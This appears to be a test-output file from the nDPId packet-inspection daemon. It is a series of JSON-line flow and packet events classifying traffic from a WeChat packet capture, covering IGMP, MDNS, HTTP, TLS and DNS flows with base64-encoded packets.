+00410{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1632,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171206,"pkt_ts_usec":877899,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoL+EAAAECUizAqAFk4AAAFpQEAAAiAPsCAAAAAQIAAADgAAD7"} +00470{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1632,"source":"wechat.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1492171206877,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00413{"flow_id":109,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1633,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171208,"pkt_ts_usec":516256,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoL+IAAAECUivAqAFk4AAAFpQEAAAiAOwDAAAAAQIAAADv\/\/\/6"} +00413{"flow_id":109,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1634,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171210,"pkt_ts_usec":973939,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoL+UAAAECUijAqAFk4AAAFpQEAAAiAOwAAAAAAQIAAADv\/\/\/9"} +00438{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1635,"source":"wechat.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1492171211383,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.108","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1635,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171211,"pkt_ts_usec":383555,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAWACSlnnPpCABGwAAoAABAAAECQeXAqAFs4AAAFpQEAAAiAOwDAAAAAQIAAADv\/\/\/6"} +00470{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1635,"source":"wechat.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1492171211383,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.108","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00439{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1492171211383,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.108","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00439{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1492171205448,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00438{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1492171203806,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171185368,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.180.179","src_port":52020,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171185368,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.180.179","src_port":52020,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":5,"flow_first_seen":1492171176772,"flow_last_seen":1492171183608,"flow_tot_l4_data_len":160,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58226,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":5,"flow_first_seen":1492171176772,"flow_last_seen":1492171183608,"flow_tot_l4_data_len":160,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58226,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171185112,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34981,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171185112,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34981,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184984,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34996,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184984,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171185368,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34999,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171185368,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34999,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184848,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":35000,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184848,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":35000,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184328,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39195,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184328,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39195,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184464,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39207,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184464,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39207,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184984,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39231,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":7,"flow_first_seen":1492171176772,"flow_last_seen":1492171184984,"flow_tot_l4_data_len":224,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39231,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1492171250302,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":111,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171250,"pkt_ts_usec":302344,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABESuVAAAERi7nAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00551{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1636,"source":"wechat.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1492171250302,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlecast._tcp.local"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1637,"source":"wechat.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1492171250302,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::7a92:9cff:fe0f:a88e","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_id":112,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1637,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171250,"pkt_ts_usec":302463,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00560{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1637,"source":"wechat.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1492171250302,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::7a92:9cff:fe0f:a88e","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlecast._tcp.local"}} +00450{"flow_id":111,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1638,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171250,"pkt_ts_usec":302656,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABESuZAAAERi7jAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00480{"flow_id":112,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1639,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171250,"pkt_ts_usec":302684,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00450{"flow_id":111,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1640,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171251,"pkt_ts_usec":303763,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABESy5AAAERi3DAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00480{"flow_id":112,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1641,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171251,"pkt_ts_usec":303878,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00451{"flow_id":111,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1642,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171253,"pkt_ts_usec":304834,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABES\/VAAAERiqnAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00480{"flow_id":112,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1643,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171253,"pkt_ts_usec":304968,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1644,"source":"wechat.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.131","src_port":58143,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01031{"flow_id":113,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1644,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171267,"pkt_ts_usec":294504,"pkt_caplen":506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":506,"pkt_l4_len":472,"pkt":"8IQvSpdgeJKcD6iOCABFAAHsiFZAAEAGSOjAqAFn2DrNg+MfAbtA+v0gFZsbqIAZAT5FiAAAAQEICgA\/pcIy2r7tFwMDAVu+DrsMGADIBc3y\/EPKacgY\/\/yQnIvMDmcJvSRFqPEzGFHK1SfEZD+LW3zHqz7Qn57h7phszvLaMx08coFwWwqfC7HwO5byX8EfZX59ZxB8wie5NmTqPueQB2i63JLDDRRwIsZojgu7bb8cvUD8n10qxsHw\/TQ7hvwnvUlAMmevC0E4bShoN6nD161aFH8pJzOUZ6Inmm16pW110QaYPjjSQQTv7tNyG48jYK3I2RN01WazUewIpPm73LAS9ZABJ\/Ny8oNO\/paZaboPssOjLQcJQCoLWCEO29VIR1wHqlyW4rcdBB9JM36yEvABpD0B99LA+t3vBjUOLhPnYTS5Tg\/Xq\/y13A\/nE4U69mAQajAphd1rkHRmU5H71D9Yn3KgSrb0XGlqT0xKmBjYerOwAP2kk8Whxm\/8laMcKMQksDAjrijAvnUEJ5tIwpNFUcxgRKcVbexJ8LEa9dte0xcDAwAh3EhrcW9cp9\/WX9UiN8Kt\/CmhJWgGaSyh5LdY3zetl0V+FwMDAC1uKRpL0WFRctIQnQp7DT13au9uAW\/kc9Ado7SqH0KYC9BoecHEhGyhydVqz38="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1645,"source":"wechat.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":45366,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":114,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1645,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171267,"pkt_ts_usec":294534,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"8IQvSpdgeJKcD6iOCABFAABEJBJAAEARkeHAqAFnwKgB\/rE2ADUAMGKHk6IBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20AAAEAAQ=="} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1645,"source":"wechat.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":45366,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WeChat","breed":"Fun","category":"Chat"},"dns": {"query":"webpush.web.wechat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1646,"source":"wechat.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":35000,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":115,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1646,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171267,"pkt_ts_usec":294545,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R8tAAEAGr2PAqAFnX2UiIYi4AFDlnJriImFMS4ARCdwsYAAAAQEICgA\/puRr6XGp"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1647,"source":"wechat.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":116,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1647,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171267,"pkt_ts_usec":294567,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/79AAEAG927AqAFnX2UiIYi0AFB\/4ffl18M9+4ARCyOM4gAAAQEICgA\/qERr6XAp"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1648,"source":"wechat.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1492171267294,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39231,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 